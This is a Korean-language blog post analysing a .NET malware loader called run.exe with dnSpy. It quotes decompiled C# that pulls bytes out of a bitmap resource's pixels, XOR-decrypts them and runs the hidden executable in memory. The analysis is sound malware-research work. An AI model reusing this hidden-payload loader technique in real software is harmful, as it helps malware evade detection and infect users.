MALWARE] run.exe - Loader

노션으로 옮김·2020년 6월 4일
1

skills

목록 보기
37/37
post-thumbnail

🥝악성코드

https://app.any.run/tasks/d3e50a5d-0926-45d9-9217-2990fb3b4ca4/#

MD5: 092391846C8553DA1A40D3586945A5DF

🍆환경

VM : VM Workstation Pro 15
OS : Windows 10 64bit(FLARE VM)


정적 분석

🌭 헤더

닷넷 기반의 악성코드이다.


동적 분석

🥩 IL

닷넷은 IL 기반이며, 닷넷 프레임워크에 의해 명령어가 해석된다.

x64dbg로 로드할시 IL이 native api로 변환된 어셈블리로 분석해야 하기 때문에 복잡할 수 있다.

dnspy를 이용하면 IL을 다시 C#으로 디컴파일한 결과를 출력하므로 C#으로 분석할 수 있다.
또한 디컴파일된 상태에서 디버깅이 가능하다.

🥣Loader

EP에 브레이크포인트를 설정하고 디버깅을 시작한다.

Form1 클래스 안에서 초기화하는 부분을 보면 Class2 인스턴스를 생성한다.

Class2::testimonial

Class2에서는 testimonial함수를 호출한다.

testimonial

public string testimonial()
{
    byte[] rawAssembly = Class2.gzrd(Class2.Zwrfe(Class2.bzxr(Class1.SFJFSJSFF)));
    Assembly assembly = AppDomain.CurrentDomain.Load(rawAssembly);
    MethodInfo entryPoint = assembly.EntryPoint;
    this.sdasad(entryPoint);
    ProjectData.EndApp();
    return "ac";
}

Class1.SFJFSJSFF에 있는 문자열에 대한 리소스를 비트맵 형식으로 변환하여 Class2.bzxr 함수로 얻어온다.

public static Bitmap bzxr(string x10)
{
    ResourceManager resourceManager = new ResourceManager("winformDSS.Properties.Resources", Assembly.GetCallingAssembly());
    return (Bitmap)resourceManager.GetObject(x10);
}

가져온 비트맵을 Zwife에서 픽셀을 변경하고

private static byte[] Zwrfe(Bitmap data)
{
    List<byte> list = new List<byte>();
    checked
    {
        int num = data.Width - 1;
        for (int i = 0; i <= num; i++)
        {
            int num2 = data.Height - 1;
            for (int j = 0; j <= num2; j++)
            {
                Color pixel = data.GetPixel(i, j);
                Color right = Color.FromArgb(0, 0, 0, 0);
                bool flag = pixel != right;
                bool flag2 = flag;
                if (flag2)
                {
                    list.AddRange(new byte[]
                    {
                        pixel.R,
                        pixel.G,
                        pixel.B
                    });
                }
            }
        }
        return list.ToArray();
    }
}

gzrd에서 xor로 복호화시킨다.

private static byte[] gzrd(byte[] data)
{
    checked
    {
        byte[] array = new byte[data.Length - 16 - 1 + 1];
        Array.Copy(data, 16, array, 0, array.Length);
        int num = array.Length - 1;
        for (int i = 0; i <= num; i++)
        {
            byte[] array2 = array;
            int num2 = i;
            array2[num2] ^= data[i % 16];
        }
        return array;
    }
}

그리고 변환된 리소스(아마 실행파일)를 로드한다.

testimonial

    Assembly assembly = AppDomain.CurrentDomain.Load(rawAssembly);
    MethodInfo entryPoint = assembly.EntryPoint;
    ...
    ...
}

private void sdasad(MethodInfo x)
{
    x.Invoke(null, null);
}

실제로 변환된 리소스를 확인해보면 시작값은 PE헤더의 시그니처를 가진다.(4D5A)

또한, invoke 이후에 dnspy 하위로 실행중이던 run.exe는 종료되고 새로운 run.exe가 실행되는 것을 확인할 수 있다.


결론

run.exe는 리소스를 가져와서 복호화한 바이너리를 invoke하고 종료한다.

0개의 댓글